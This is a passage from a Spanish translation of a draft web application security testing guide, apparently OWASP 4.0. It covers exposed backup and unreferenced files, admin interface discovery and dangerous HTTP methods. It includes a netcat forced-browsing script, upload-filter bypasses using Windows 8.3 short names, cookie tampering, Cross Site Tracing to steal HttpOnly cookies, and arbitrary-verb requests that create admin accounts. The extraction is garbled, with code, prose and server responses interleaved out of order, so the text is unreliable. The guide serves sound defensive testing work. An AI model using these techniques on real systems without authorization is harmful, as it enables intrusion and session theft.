inspección manual de la aplicación (esto supera las limitaciones del uso de robots araña automáticos), consultar motores de búsqueda (ver pruebas: spidering y googling). Vea también pruebas de archivos viejos, de copia de seguridad y archivos no referenciados que abordan los problemas de seguridad relacionados con los archivos "olvidados".

Las siguientes extensiones de archivo nunca deben ser devueltas por un

archivos que pueden contener información sensible o archivos que no deben ser entregados. servidor web, ya que están relacionadas a

• .asa • .inc

Las siguentes extensiones de archivos se relacionan con archivos que, cuando se acceden, pueden ser visualizados o descargados por el navegador. Por lo tanto, los archivos con estas extensiones deben comprobarse para verificar que, de hecho, estas deben ser entregadas (y no son residuos), y que no contienen información sensible.

• .zip, .tar, .gz, .tgz, .rar, ...: archivos de almacenaje (Comprimidos)

Carga de archivos El manejo de archivos de legado de Windows 8.3 puede, a veces, ser usado para derrotar los filtros de carga de archivos.

Ejemplos de uso:

file.phtml gets processed as PHP code

FILE~1.PHT is served, but not processed by the PHP ISAPI handler

shell.phPWND can be uploaded

• .java: No hay razón para permitir el accceso a archivos de fuentes Java • .txt: archivos de texto

SHELL~1.PHP will be expanded and returned by the OS shell, then processed by the PHP ISAPI handler

• .pdf: documentos PDF • .doc, .rtf, .xls, .ppt, ...: documentos de Office • .bak, .extensiones viejas u otras extensiones de iniciativa de archivos de respaldo (por ejemplo: ~ archivos de respaldo para Emacs)

La lista de detalles mencionados anteriormente son sólo

Pruebas de Caja Gris Realizar pruebas de Caja Gris contra el manejo de los archivos de extensiones para revisar las configuraciones de servidores web o servidores de aplicaciones que participan en la arquitectura de aplicaciones web, y comprobar cómo son instruidos para entregar diferentes extensiones de archivo.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 79

Guia de pruebas 4.0 "Borrador"

Si la aplicación web se basa en una infraestructura heterogénea con equilibrio de carga, la misma determina si esta puede presentar un comportamiento diferente.

Herramientas Los escáneres de vulnerabilidad, tales como Nessus y Nikto, comprueban la existencia de directorios web conocidos. Pueden permitir que el evaluador descargue la estructura del sitio web, lo cual es útil cuando se intenta determinar la configuración de los directorios web y cómo son atendidas las extensiones de archivo individuales. Otras herramientas que pueden utilizarse para este propósito incluyen:

credenciales para conectarse a la interfaz administrativa o al servidor de base de datos.

Una fuente importante de vulnerabilidades se encuentra en los archivos que no tienen nada que ver con la aplicación, pero se crean como consecuencia de la edición de archivos de la aplicación, o después de crear copias de seguridad "al vuelo" o dejando en el árbol de la red viejos archivos del árbol o archivos no referenciados. Realizar ediciones ¨"en el sitio" u otras acciones administrativas en servidores web en producción sin darse cuenta puede dejar copias de seguridad, ya sean generadas automáticamente por el editor mientras se editan archivos, o por el administrador quien está comprimiendo un conjunto de archivos para crear una copia de seguridad.

• wget - gnu.org • curl - curl.haxx.se • google for “web mirroring tools”.

Revise archivos viejos, copias de seguridad y archivos no referenciados en busca de información sensible (OTG-CONFIG-004) Resumen Mientras que la mayoría de los archivos en un servidor web son manejados directamente por el servidor, no es raro encontrar archivos no referenciados u olvidados que pueden utilizarse para obtener información importante acerca de la infraestructura o las credenciales.

Los escenarios más comunes incluyen la presencia de viejas versiones renombradas de archivos modificados, archivos de inclusión que se cargan

en el idioma de su preferencia y pueden ser descargados como fuente, o incluso copias de seguridad manuales o automáticas o en forma de archivos comprimidos. Los archivos de copias de seguridad también pueden ser generados automáticamente por el sistema de archivos subyacente donde se aloja la aplicación, una característica que se conoce generalmente como "instantáneas".

Todos estos archivos podrán conceder acceso al evaluador a trabajos internos, puertas traseras, interfaces administrativas o incluso

Es fácil olvidar este tipo de archivos y esto puede plantear una amenaza seria a la aplicación. Eso sucede porque se pueden generar copias de seguridad con extensiones de archivo diferentes a las de los archivos originales. Un archivo .tar, .zip o .gz que generamos (y olvidamos...) obviamente tiene una extensión diferente, y lo mismo ocurre con las copias automáticas creadas por muchos editores (por ejemplo, emacs genera una copia de seguridad denominada archivo~ al editar el archivo). Hacer una copia a mano puede producir el mismo efecto (piensa en copiar file a file.old). El sistema de archivo subyacente, en el cual se encuentra la aplicación, podría estar tomando "instantáneas" de su aplicación en diferentes puntos en el tiempo sin su conocimiento, y también pueden ser accesibles a través de la web. Estas representan una amenaza de estilo similar, pero diferentes al tipo "archivo de respaldo" de su aplicación.

Como resultado, estas actividades generan archivos que no son necesarios para la aplicación y pueden ser tratados de manera distinta al archivo original por el servidor web. Por ejemplo, si hacemos una copia de login.asp llamada login.asp.old, estamos permitiendo a los usuarios descargar el código de login.asp. Esto es porque login.asp.old será atendido normalmente como texto simple, en lugar de ser ejecutado debido a su extensión. En otras palabras, acceder a login.asp causa la ejecución del código de login.asp, mientras que acceder a login.asp.old causa que el contenido de login.asp.old (que es, otra vez, el código del lado del servidor) se entregue simplemente al usuario y se muestre en el evaluador. Esto puede plantear riesgos de seguridad, dado que información confidencial puede ser revelada.

En general, exponer el código del lado del servidor es una mala idea. No sólo está usted innecesariamente exponiendo la lógica del negocio, sino que, sin saberlo, usted puede estar develando información relacionada con la aplicación, lo que puede ayudar a un atacante (nombres de ruta de acceso, estructuras de datos, etc.). Por no mencionar el hecho de que hay muchos scripts que tienen incrustado el usuario y contraseña en texto claro (que es una práctica imprudente y muy peligrosa).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 80

Guia de pruebas 4.0 "Borrador"

Otras causas de archivos no referenciados se deben al diseño o configuración de opciones cuando permiten que diversos tipos de archivos relacionados con la aplicación como archivos de datos, archivos de configuración, archivos de registro se almacenen en directorios del sistema de archivo a los que se puede acceder por el servidor web. Estos archivos normalmente no tienen ninguna razón para estar en un espacio del sistema de archivo que se podría acceder vía web, ya que deben accederse

solamente desde el nivel de la aplicación, por la propia aplicación (y no por el usuario casual que está navegando).

• En algunos casos, copiar o editar un archivo no modifica la extensión del archivo, pero modifica el nombre del archivo. Esto sucede, por ejemplo, en ambientes Windows, donde las operaciones de copia de archivos generan nombres de archivo con el prefijo "Copia de" o versiones localizadas de esta secuencia. Puesto que la extensión de archivo se queda sin cambios, este no es un caso en que un archivo ejecutable es devuelto como texto plano por el servidor web y, por lo tanto, no es un caso de revelación de código fuente. Sin embargo, estos archivos también son peligrosos porque existe la posibilidad de que incluyan lógica obsoleta e incorrecta que, si es invocada, podría provocar errores de aplicación que podrían dar información valiosa a un atacante si está habilitada la pantalla de mensaje de diagnóstico. • Los archivos de registro pueden contener información sensible acerca de las actividades de los usuarios de la aplicación, por ejemplo, datos de parámetros URL, Identificador de Sesión, URL visitadas (que pueden revelar contenido sin referencia adicional), etc.. Otros archivos de registro (por ejemplo registros ftp) pueden contener información confidencial sobre el mantenimiento de la aplicación por los administradores del sistema.

Amenazas Archivos viejos, copias de seguridad y los archivos no referenciados presentan varias amenazas a la seguridad de una aplicación web:

• Las instantáneas de archivos del sistema pueden contener copias del código que contienen vulnerabilidades que han sido corregidas en las versiones más recientes. Por ejemplo /.snapshot/monthly.1/view.php puede contener una vulnerabilidad de salto de directorio que se ha fijado en /view.php, pero todavía puede ser explotada por cualquier persona que encuentre la versión antigua.

• Los archivos no referenciados pueden revelar información sensible que puede facilitar un ataque focalizado contra la aplicación; por ejemplo, incluir los archivos que contienen las credenciales de la base de datos, archivos de configuración que contienen referencias a otros contenidos ocultos, rutas de archivo absolutas, etc. Cómo probar • Las páginas no referenciadas pueden contener funcionalidad poderosa que puede utilizarse para atacar la aplicación; por ejemplo, una página de administración que no está ligada desde el contenido publicado, pero a la que puede acceder cualquier usuario que sepa dónde se encuentra. • Los archivos viejos y copias de seguridad pueden contener vulnerabilidades que han sido corregidas en las versiones más recientes; por ejemplo, viewdoc.old.jsp puede contener una vulnerabilidad de salto de directorio que se ha arreglado en viewdoc.jsp pero todavía puede ser explotada por cualquier persona que encuentre la versión antigua.

• Los archivos de copias de seguridad pueden revelar el código fuente de páginas diseñadas para ejecutarse en el servidor; por ejemplo, viewdoc.bak que puede entregar el código fuente de viewdoc.jsp. Estos archivos pueden ser revisados en busca de vulnerabilidades que pueden ser dificiles de encontrar haciendo peticiones ciegas a la página ejecutable. Aunque esta amenaza obviamente aplica a lenguajes de scripts, como Perl, PHP, ASP, shell scripts, JSP, etc., no se limita a estos, como se muestra en el ejemplo proporcionado en la siguiente viñeta. • Los archivos de copias de seguridad pueden contener copias de todos los archivos dentro (o incluso fuera) de la raiz (webroot). Esto permite a un atacante enumerar rápidamente toda la aplicación, incluyendo las páginas no referenciadas, códigos fuente, archivos incluidos, etc.. Por ejemplo, si se olvida un archivo llamado myservlets.jar.old que contiene (una copia de seguridad) las clases de su implementación servlet, usted está exponiendo un gran cantidad de información sensible que es susceptible a la descompilación e ingeniería inversa.

Prueba de Caja Negra Probar en busca de archivos no referenciados utiliza tanto técnicas automáticas como manuales y normalmente consiste en una combinación de los siguientes:

Inferencia desde el esquema de nombres, utilizado para el contenido publicado Enumere todas las páginas y funcionalidades de la aplicación. Esto puede hacerse manualmente, usando un navegador o utilizando una herramienta de spidering. La mayoría de las aplicaciones utiliza un esquema de nombres reconocibles y organiza recursos en páginas y directorios usando palabras que describen su función. Desde el esquema de nombres utilizado para el contenido publicado, a menudo es posible inferir el nombre y la ubicación de los páginas no referenciadas. Por ejemplo, si encuentra una página viewuser.asp, entonces busque también edituser.asp, adduser.asp y deleteuser.asp. Si encuentra un directorio /app/user, entonces busque también /app/admin y /app/manager.

Otras pistas en los contenidos publicados

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 81

Guia de pruebas 4.0 "Borrador"

Muchas aplicaciones web dejan pistas en los contenidos publicados, que pueden conducir al descubrimiento de páginas ocultas y su funcionalidad. Estas pistas aparecen a menudo en el código fuente de archivos HTML y JavaScript. El código fuente de todo el contenido publicado debe revisarse manualmente para identificar pistas sobre otras páginas y su funcionalidad. Por ejemplo:

User-agent: * Disallow: /Admin Disallow: /uploads

Disallow: /backup Las secciones de comentarios y comentarios de eliminación de los programadores del código fuente pueden referirse al contenido oculto:

Disallow: /~jbloggs Disallow: /include

Navegación forzada En su forma más simple, esto incluye correr una lista de nombres de archivo comunes a través de un motor de solicitudes en un intento de adivinar los archivos y directorios que existen en el servidor. El siguiente script de envoltura de netcat leerá una lista de palabras desde stdin y realizará un ataque de conjetura básico:

JavaScript puede contener enlaces a páginas que sólo se procesan dentro del GUI de usuario bajo ciertas circunstancias: #!/bin/bash var adminUser=false; :

server=www.targetapp.com if (adminUser) menu.add (new menuItem (“Maintain users”, “/admin/useradmin.jsp”));

port=80

while read url Las páginas HTML pueden contener FORMs que han sido ocultadas por deshabilitar el elemento SUBMIT:

do echo -ne “$url\t” echo -e “GET /$url HTTP/1.0\nHost: $server\n” | netcat $server $port | head -1 done | tee outputfile

Otra fuente de pistas sobre los directorios no referenciados es el archivo de /robots.txt utilizado para dar instrucciones a los robots de la web:

Dependiendo del servidor, GET puede ser reemplazado con HEAD para tener resultados más rápidos. El archivo de salida especificado puede usar la aplicación grep para obtener los códigos de respuesta "interesantes". El código de respuesta 200 (OK) normalmente indica que se ha encontrado un recurso válido (siempre y cuando el servidor no entregue una página personalizada de "no encontrada"(not found) con el código 200). Pero también 302 (Found), 401 (Unauthorized), 403 (Forbidden) y 500 (Internal error), que también pueden indicar recursos o directorios que son dignos de una investigación posterior.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 82

Guia de pruebas 4.0 "Borrador"

El ataque de conjetura básico se debe ejecutar contra la raíz web (webroot) y también contra todos los directorios que se han identificado a través de otras técnicas de enumeración. Ataques de conjeturas más avanzados/eficaces pueden realizarse como se ve a continuación:

• Identifique las extensiones de archivo en uso dentro de las zonas conocidas de la aplicación (por ejemplo, jsp, aspx, html) y use una lista básica de palabras con cada una de estas extensiones (o use una lista más larga de extensiones comunes si los recursos lo permiten). • Para cada archivo identificado a través de otras técnicas de enumeración, cree una lista personalizada de palabras, derivada de ese nombre. Obtenga una lista de extensiones de archivo comunes (como ~, bak, txt, src, dev, old, inc, orig, copy, tmp, etc.) y utilice cada extensión antes, después y en vez de la extensión del nombre del archivo actual.

Nota: Las operaciones de copia de archivos de Windows generan archivos con nombres con el prefijo "Copia de" (Copy of) o versiones localizadas de esta cadena, por lo tanto, no cambian las extensiones de archivo. Mientras que los archivos "Copia de" (Copy of) típicamente no revelan el código fuente cuando se acceden, podrían entregar información valiosa en caso de que provoquen errores cuando se les invoca.

Información obtenida a través de las vulnerabilidades y mala configuración

Las páginas y la funcionalidad en aplicaciones web de cara al internet, que no son referenciadas desde dentro de la propia aplicación, pueden ser referenciadas desde otras fuentes de dominio público. Hay varias fuentes de estas referencias:

• Páginas que solían estar referenciadas todavía pueden aparecer en los archivos de los buscadores de Internet. Por ejemplo, 1998results.asp puede ya no estar vinculada desde el sitio web de la empresa, pero puede permanecer en el servidor y en las bases de datos de motores de búsqueda. Este viejo script puede contener vulnerabilidades que podrían ser utilizadas para poner en peligro todo el sitio. El sitio: Google search operator puede utilizarse para ejecutar una consulta contra el dominio elegido, como en este caso: sitio: www.example.com. Utilizar motores de búsqueda en esta forma ha dado lugar a una amplia gama de técnicas que pueden resultar útiles y que se describen en la sección de esta guía de Google Hacking. Revíselo para perfeccionar sus habilidades de pruebas a través de Google. Los archivos de copia de seguridad no suelen ser referenciados por otros archivos y, por lo tanto, pueden no haber sido indexados por Google, pero si se encuentran en directorios navegables, el motor de búsqueda podría saber acerca de ellos. • Además, Google y Yahoo mantienen versiones en caché de páginas encontradas por sus robots. Incluso si 1998results.asp ha sido eliminado del servidor de destino, una versión de salida puede todavía estar almacenada en estos motores de búsqueda. La versión en caché puede contener referencias o pistas sobre contenido oculto adicional que permanece en el servidor. • El contenido que no está referenciado desde una aplicación de destino puede estar vinculado a sitios web de terceros. Por ejemplo, una aplicación que procesa los pagos en línea a nombre de comerciantes externos puede contener una variedad de funcionalidades hechas a la medida que pueden (normalmente) sólo se pueden encontrar (normalmente) siguiendo los enlaces dentro de las páginas web de sus clientes.

La manera más obvia en que un servidor mal configurado puede revelar páginas no referenciadas es a través del listado del directorio. Solicite todos los directorios enumerados para identificar cualquiera que proporcione un listado de directorios.

Filtro de desvío del nombre del archivo

Se han encontrado numerosas vulnerabilidades en servidores web individuales, que permiten a un atacante enumerar los contenidos; por ejemplo:

Debido a que los filtros de listas negras se basan en expresiones regulares, a veces uno puede tomar ventaja de las características oscuras de expansión del nombre de archivo de OS que trabajan de maneras no esperadas por el desarrollador. A veces, el evaluador puede explotar las diferencias en las formas en que los nombres de archivo son analizados por la aplicación, el servidor web y el sistema operativo subyacente y sus convenciones de nombre de archivo.

• Apache ?M=D directory listing vulnerability. • Various IIS script source disclosure vulnerabilities. • IIS WebDAV directory listing vulnerabilities.

Ejemplo: Expansión de nombre de archivo 8.3 de Windows "c:\program files" se convierte "C:\PROGRA~1" – Remove incompatible characters – Convert spaces to underscores - Take the first six characters of the basename

Uso de información disponible para el púbico

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 83

Guia de pruebas 4.0 "Borrador"

– Add “~” which is used to distinguish files with names using the same six initial characters

Para garantizar una estrategia de protección efectiva, la prueba debe estar compuesta por una política de seguridad que específicamente prohíbe las prácticas peligrosas tales como:

- This convention changes after the first 3 cname ollisions – Truncate file extension to three characters - Make all the characters uppercase

Pruebas de Caja Gris Realizar pruebas de caja gris contra archivos viejos y copias de seguridad requiere examinar los archivos contenidos en los directorios pertenecientes al conjunto de directorios web, servidos por los servidores web de la infraestructura de aplicaciones web. Teóricamente, el examen se debe realizar a mano para ser cuidadoso. Sin embargo, ya que en la mayoría de los casos las copias de archivos o archivos de copias de seguridad tienden a crearse usando la misma terminología; la búsqueda puede ser fácilmente secuenciada. Por ejemplo, los editores dejan copias de seguridad nombradas con un final o una extensión reconocible y los seres humanos tienden a dejar archivos con un ".old" o similares extensiones predecibles. Una buena estrategia es la de programar periódicamente un trabajo de fondo comprobando archivos con extensiones que se identifican como copia o copia de seguridad y efectuar comprobaciones manuales en base a un mayor tiempo.

Herramientas • Las herramientas de evaluación de vulnerabilidad tienden a incluir verificaciones a directorios web que tienen nombres estándar (como “admin”, “test”, “backup”, etc.) y a reportar cualquier directorio web que permite la indexación. Si usted no puede conseguir un listado de directorios, debe intentar comprobar extensiones de respaldo probables. Compruebe, por ejemplo, Nessus (nessus.org), Nikto2(cirt.net) o su nuevo derivado Wikto (sensepost.com), que también es compatible con Google hacking based strategies. •Las herramientas robot tipo araña: wget (gnu.org, interlog.com); Sam Spade (samspade.org); Spike Proxy incluyen una función de rastreador del sitio web (immunitysec.com); Xenu (home.snafu.de); Curl (curl.haxx.se). Algunos de ellos también se incluyen en las distribuciones estándar de Linux.

• Las herramientas de desarrollo web suelen incluir instalaciones para identificar los enlaces rotos y los archivos no referenciados.

• Editar los archivos en el lugar del servidor web o sistemas de archivos del servidor de aplicaciones. Este es un mal hábito particular, ya que es probable que, sin querer, los editores generen archivos de respaldo. Es sorprendente ver que esto se hace frecuentemente, incluso en grandes organizaciones. Si definitivamente necesita editar archivos en un sistema en producción, asegúrese de no dejar atrás cualquier cosa que no esté explícitamente planificada y recuerde que lo está haciendo bajo su propio riesgo. • Revise cuidadosamente cualquier otra actividad realizada en los sistemas de archivos expuestos por el servidor web, como las actividades de la administración en el punto. Por ejemplo, si usted necesita de vez en cuando tomar una instantánea de un par de directorios (que no se debe hacer en un sistema en producción), puede sentirse tentado a comprimirlos primero. Tenga cuidado de no dejar atrás esos archivos. • Las políticas de gestión de configuración apropiada deberían ayudar a no dejar por ahí archivos obsoletos y sin referencia. • Las aplicaciones deben ser diseñadas para no crear (o depender de) archivos almacenados debajo de los árboles de directorios web atendidos por el servidor web. Los archivos de datos, archivos de registro, archivos de configuración, etc. deben almacenarse en directorios no accesibles por el servidor web, para contrarrestar la posibilidad de divulgación de información (sin mencionar la modificación de los datos si los permisos del directorio web permiten escritura). • Las instantáneas de sistema de archivos no deben ser accesibles a través de la web si la raíz del documento es un sistema de archivos que utiliza esta tecnología. Configure el servidor web para negar el acceso a dichos directorios, por ejemplo, en apache una directiva de ubicación como esta debería utilizarse: Order deny,allow

Deny from all

Infraestructura de Enumeración e Interfaces de Administración de Aplicaciones (OTGCONFIG-005)

Remediación

Resumen

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 84

Guia de pruebas 4.0 "Borrador"

Las interfases del administrador se pueden presentar en la aplicación o en el servidor de aplicaciones para permitir que determinados usuarios puedan llevar a cabo actividades privilegiadas en el sitio. Se deben realizar pruebas para revelar sí y cómo esta funcionalidad privilegiada puede ser accesada por un usuario no autorizado o estándar.

enviadas al cliente, enlaces a las funcionalidades de administrador, pueden descubrirse y deben investigarse.

• Revisar el servidor y la documentación de aplicaciones. Si el servidor de aplicaciones o la aplicación se implementa en su configuración por defecto, es posible acceder a la interfaz de administración con la información descrita

Una aplicación puede requerir una interfaz de administrador para habilitar un usuario con privilegios con acceso a funciones que pueden realizar cambios de cómo funciona el sitio. Tales cambios pueden incluir:´ en la documentación de configuración o ayuda. Las listas de contraseñas por defecto deben consultarse si se encuentra una interfaz administrativa y se requieren credenciales. • Provisionamiento de cuentas de usuario • Diseño y diagramación del sitio • Manipulación de datos • Cambios en la configuración

En muchas instancias, dichas interfaces no tienen suficientes controles para protegerlas de accesos no autorizados. La prueba está dirigida a descubrir estas interfaces de administrador y acceder a funcionalidades para estos usuarios privilegiados.

• Información disponible para el público p. Muchas aplicaciones como wordpress tienen interfaces administrativas por defecto. • Puerto de servidor alternativo. Las interfaces de administración pueden ser encontradas en un puerto diferente en el host de la aplicación principal. Por ejemplo, a menudo puede verse la interfaz de administración de Apache Tomcat en el puerto 8080. • Alteración de parámetros. Un parámetro GET o POST o una variable de cookie puede ser requerida para habilitar la funcionalidad de administrador. Pistas para esto incluyen la presencia de campos ocultos tales como:

Cómo Probar Pruebas de Caja Negra En la siguiente sección se describen vectores que pueden utilizarse para probar la presencia de interfaces administrativas. Estas técnicas también pueden utilizarse para probar temas relacionados que incluyen la elevación de privilegios y se describen en otros sitios de esta guía (por ejemplo Pruebas para eludir el esquema de autorización (OTG-AUTHZ002) y Pruebas de referencias de objetos directos inseguros (OTGAUTHZ-004) en mayor detalle.

• Enumeración de archivos y directorios. Una interfaz administrativa puede estar presente, pero no visiblemente disponible para el evaluador. Intentar adivinar la trayectoria de la interfaz administrativa puede ser tan simple como solicitar: /admin o /administrator etc... o, en algunos casos, pueden ser revelados en segundos utilizando Google dorks. • Existen muchas herramientas disponibles para forzar el contenido del servidor. Consulte la sección de herramientas a continuación para obtener más información. * Un evaluador puede tener que identificar también el nombre del archivo de la página de administración. Navegar hacia la página identificada, a la fuerza, puede proporcionar acceso a la interfaz. • Comentarios y vínculos en el código fuente. Muchos sitios utilizan un código común, cargado para todos los usuarios del sitio. Examinando todas las fuentes

o en una cookie:

Cookie: session_cookie; useradmin=0

Una vez que se ha descubierto una interfaz administrativa, puede utilizarse una combinación de las técnicas anteriores para intentar eludir la autenticación. Si esto falla, el evaluador podría intentar un ataque forzado. En tal caso, el evaluador debe estar consciente de la posibilidad de bloqueo de la cuenta administrativa si dicha funcionalidad está presente.

Pruebas de Caja Gris Debe realizar un examen más detallado de los componentes del servidor y de la aplicación para asegurarse de la fortaleza (es decir, las páginas de administrador no son accesibles a todo el mundo mediante el uso de filtros IP u otros controles) y, en ciertos casos, verificar que todos los componentes no usan credenciales o configuraciones por defecto.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 85

Guia de pruebas 4.0 "Borrador"

El código fuente debe ser revisado para asegurar que el modelo de autorización y autenticación garantiza la separación clara de funciones entre los usuarios normales y los administradores. Las funciones de la interfaz de usuario compartidas entre usuarios normales y administradores deben ser revisadas para garantizar una separación clara entre el dibujo de dichos componentes y la información que puede fugarse de tal funcionalidad.

Aunque GET y POST son los métodos más comunes que se utilizan para acceder a la información proporcionada por un servidor web, el protocolo de transferencia de hipertexto (HTTP) permite varios otros métodos( y algunos menos conocidos). RFC 2616 (que describe al HTTP versión 1.1 que es el estándar hoy en día) define los siguientes ocho métodos:

• HEAD • GET

Herramientas

• POST • PUT

• Dirbuster este proyecto OWASP actualmente inactivo sigue siendo una gran herramienta para forzar directorios y archivos en el servidor. • THC-HYDRA es una herramienta que permite forzar muchas interfaces, incluyendo la autenticación HTTP basada en formularios. • Un forzador es mucho mejor cuando usa un buen diccionario, por ejemplo, el diccionario de netsparker.

Referencias

• DELETE • TRACE • OPTIONS • CONNECT

Algunos de estos métodos pueden plantear un potencial riesgo de seguridad para una aplicación web, ya que permiten a un atacante modificar los archivos almacenados en el servidor web y, en algunos escenarios, roban las credenciales de usuarios legítimos. Más concretamente, los métodos que deben deshabilitarse son los siguientes:

• Lista de contraseñas por defecto: governmentsecurity.org

• Lista de contraseñas por defecto: cirt.net

Pruebe los métodos HTTP (OTG-CONFIG006) Resumen HTTP ofrece una serie de métodos que pueden utilizarse para realizar acciones en el servidor web. Muchos de los métodos están diseñados para

ayudar a los desarrolladores a implementar y probar aplicaciones HTTP. Estos métodos HTTP pueden utilizarse para fines malvados si el servidor web está mal configurado. Además, el Cross Site Tracing (XST), una forma de escritura de sitios cruzados que utiliza el método TRACE del servidor HTTP, es examinado.

• PUT: Este método permite a un cliente subir nuevos archivos en el servidor web. Un atacante puede explotarlo subiendo archivos maliciosos (por ejemplo: un archivo asp que ejecuta los comandos invocando el cmd.exe), o simplemente usando el servidor de la víctima como un deposito de archivos. • DELETE: Este método permite a un cliente eliminar un archivo en el servidor web. Un atacante puede explotarlo como una forma muy simple y directa para modificar un sitio web o para montar un ataque DoS. • CONNECT: Este método podría permitir a un cliente utilizar el servidor web como un proxy. • TRACE: Este método simplemente hace eco al cliente de cualquier cadena que ha sido enviada al servidor y se utiliza principalmente para propósitos de depuración. Este método, originalmente asumido como inofensivo, puede usarse para un ataque conocido como Rastreo de Sitios Cruzados (Cross Site Tracing), que ha sido descubierto por Jeremiah Grossman (vea los enlaces en la parte inferior de la página).

Si una aplicación necesita uno o más de estos métodos, tales como los servicios Web REST (que puede requerir de PUT o DELETE), es

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 86

Guia de pruebas 4.0 "Borrador"

importante verificar que su uso está debidamente limitado a usuarios de confianza y condiciones de seguridad.

$ nc www.victim.com 80 OPTIONS / HTTP/1.1

Métodos HTTP Arbitrarios Arshan Dabirsiaghi (ver enlaces) descubrió que muchos frameworks de aplicación web permitían métodos HTTP bien elegidos o arbitrarios para evitar un control de acceso a nivel del ambiente:

Host: www.victim.com

HTTP/1.1 200 OK Server: Microsoft-IIS/5.0

• Muchos frameworks y lenguajes tratan "HEAD" como una petición de "GET", aunque sin ningún cuerpo en la respuesta. Si una restricción de seguridad fue establecida en las peticiones de "GET" que sólo los "authenticatedUsers" o usuarios autenticados podrían acceder a solicitudes GET para un recurso o un servlet en particular, sería evitado con la versión de "HEAD". Esto permitió la sumisión ciega y sin autorización de cualquier solicitud GET privilegiada. • Algunos frameworks permiten métodos HTTP arbitrarios como "JEFF" o "CATS" para que sean utilizados sin límite. Estos fueron tratados como si

un método "GET" fuera emitido y resultaron no ser sujetos a un control de acceso basado en el método de roles en varios idiomas y frameworks, otra vez, lo que permite una sumisión ciega sin autorización a peticiones GET privilegiadas.

Date: Tue, 31 Oct 2006 08:00:29 GMT

Connection: close Allow: GET, HEAD, POST, TRACE, OPTIONS

Como podemos ver en el ejemplo, OPTIONS proporciona una lista de los métodos admitidos por el servidor web, y en este caso podemos ver que el método TRACE está habilitado. El peligro que plantea este método se ilustra en la siguiente sección.

Pruebe el potencial XST En muchos casos, el código que comprueba explícitamente un método "GET" o "POST" sería seguro.

Cómo Probar Descubra los Métodos Soportados Para realizar esta prueba, el evaluador necesita alguna manera de averiguar qué métodos HTTP son compatibles con el servidor web que está siendo examinado. El método de OPTIONS HTTP (opciones HTTP) proporciona al evaluador la forma más directa y efectiva de hacerlo. RFC 2616 afirma que "el método de OPTIONS representa una solicitud de información sobre las opciones de comunicación disponibles en la cadena de solicitud/respuesta identificada por el URL solicitado".

Nota: para entender la lógica y los objetivos de este ataque, uno debe estar familiarizado con los ataques de Cross Site Scripting.

El método TRACE, aunque aparentemente inofensivo, se puede aprovechar con éxito en algunos escenarios para robar credenciales de usuarios legítimos. Esta técnica de ataque fue descubierta por Jeremiah Grossman en el 2003, en un intento de eludir la etiqueta HttpOnly que Microsoft introdujo en Internet Explorer 6 SP1 para proteger las cookies de ser accesibles mediante JavaScript. De hecho, uno de los patrones de ataque más recurrentes del Cross Site Scripting es tener acceso al objeto document.cookie y enviarlo a un servidor web controlado por el atacante para que él o ella pueda secuestrar la sesión de la víctima. Etiquetaruna cookie como HttpOnly prohíbe a JavaScript acceder a la misma, protegiéndola de ser enviada a un tercero. Sin embargo, puede utilizarse el método TRACE para saltarse esta protección y acceder a la cookie en este escenario.

El método de prueba es muy sencillo y sólo necesitamos iniciar netcat (o telnet): Como se mencionó anteriormente, TRACE simplemente devuelve cualquier cadena que se envía al servidor web. Para verificar su presencia (o para comprobar los resultados de la solicitud de OPTIONS que se muestra arriba), el evaluador puede proceder como se muestra en el ejemplo siguiente:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 87

Guia de pruebas 4.0 "Borrador"

• Aprovechando otra vulnerabilidad del lado del servidor: el atacante inyecta el fragmento hostil de JavaScript que contiene la petición TRACE en la aplicación vulnerable, como en un ataque normal de Cross Site Scripting.

$ nc www.victim.com 80

TRACE / HTTP/1.1 Host: www.victim.com

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

• Aprovechando una vulnerabilidad del lado del cliente: el atacante crea un sitio web malicioso que contiene el fragmento del código hostil de JavaScript y aprovecha alguna vulnerabilidad entre dominios del navegador de la víctima , para que el código JavaScript pueda realizar con éxito una conexión con el sitio que soporta el método TRACE y que originó la cookie que el atacante está tratando de robar.

Información más detallada, junto con ejemplos de código, puede encontrarse en el documento original escrito por Jeremiah Grossman.

Date: Tue, 31 Oct 2006 08:01:48 GMT Connection: close Content-Type: message/http

Content-Length: 39

Pruebas de métodos HTTP arbitrarios Encuentre una página para visitar que tenga una restricción de seguridad que normalmente obligaría una redirección 302 hacia una página de registro o fuerce un registro directamente. La URL de la prueba en este ejemplo funciona así, como lo hacen muchas aplicaciones web. Sin embargo, si un evaluador obtiene una respuesta "200" que no es una página de registro, es posible eludir la autenticación y autorización.

TRACE / HTTP/1.1

El contenido de la respuesta es exactamente una copia de nuestra petición original, lo que significa que el objetivo permite este método. Ahora, ¿dónde está el peligro acechando? Si el evaluador indica un navegador para emitir una petición TRACE al servidor web, y este navegador tiene una cookie para ese dominio, la cookie se incluirá automáticamente en los encabezados de la solicitud y, por lo tanto, se muestran en la respuesta resultante. En ese momento, la cadena de la cookie será accesible por JavaScript y será finalmente posible enviarla a un tercero, así la cookie esté etiquetada como httpOnly.

Hay varias maneras de hacer que un navegador emita una solicitud TRACE, tales como el control XMLHTTP ActiveX en Internet Explorer y XMLDOM en Mozilla y Netscape. Sin embargo, por razones de seguridad, al navegador se le permite iniciar una conexión sólo con el dominio donde reside el script hostil. Este es un factor atenuante, ya que el atacante debe combinar el método TRACE con otra vulnerabilidad para montar el ataque.

Un atacante tiene dos formas de lanzar con éxito un ataque de Cross Site Tracing:

Si el framework, firewall o la aplicación no admite el método de "JEFF", nc www.example.com 80 (o preferiblemente un 405 Not Allowed o debe $emitir una página de error 501 Not implemented error page). Si sirve a la solicitud, es vulnerable a JEFF / HTTP/1.1 este problema. Host: www.example.com Si el evaluador siente que el sistema es vulnerable a este problema, debe publicar ataques tipo CSRF para explotar el tema más plenamente: HTTP/1.1 200 OK Date: Mon, 18 Aug 2008 22:38:40 GMT • FOOBAR/admin/createUser.php?member=myAdmin Server: Apache • JEFF/admin/changePw.php?member=myAdmin&passwd= Set-Cookie: PHPSESSID=K53QW... foo123&confirm=foo123 • CATS /admin/groupEdit.php?group=Admins&member=myAd min&action=add

